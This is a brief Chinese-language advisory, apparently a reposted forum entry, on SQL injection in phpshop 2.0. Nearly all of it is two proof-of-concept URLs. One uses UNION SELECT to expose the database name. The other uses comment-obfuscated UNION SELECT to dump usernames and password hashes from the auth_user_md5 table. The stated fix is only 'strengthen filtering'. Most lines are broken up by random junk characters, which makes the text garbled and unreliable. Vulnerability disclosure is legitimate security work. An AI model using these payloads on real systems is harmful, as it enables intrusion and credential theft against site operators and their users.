phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
; F2 A1 j7 L1 R0 _
$ {: r& F( Z- S  T* s6 T作者 : By onestree
3 d2 M4 P) x5 ~9 Y下载地址 : http://code.google.com/p/phpshop/downloads/list
- q' z$ n% }5 b% k测试地址: windows 7 / ubuntu
8 C( a* r" l9 j' N/ C0 h3 ?$ ~
) }2 D" i% ~) ~
( @1 _/ K. w; r( X) ?SQLi p0c:
: [; v1 Y" {2 `4 i9 ?4 h2 D5 d6 X
8 H% Q& ^, h) i( z==================
6 b) H5 U& w6 [; ?' s
  y5 J  U3 n, F6 h& J, q3 M: b' }http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
* [3 N# [- d- i8 m9 s7 }union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
4 X% W% |0 H/ J/ F1 C' X- q5 d
+ m7 u2 p5 T, Z. k/ Whttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
  A5 z* r8 V# g+ j: m: s% Y( W加强过滤
​
# t+ k4 e0 ]# R# `9 M4 g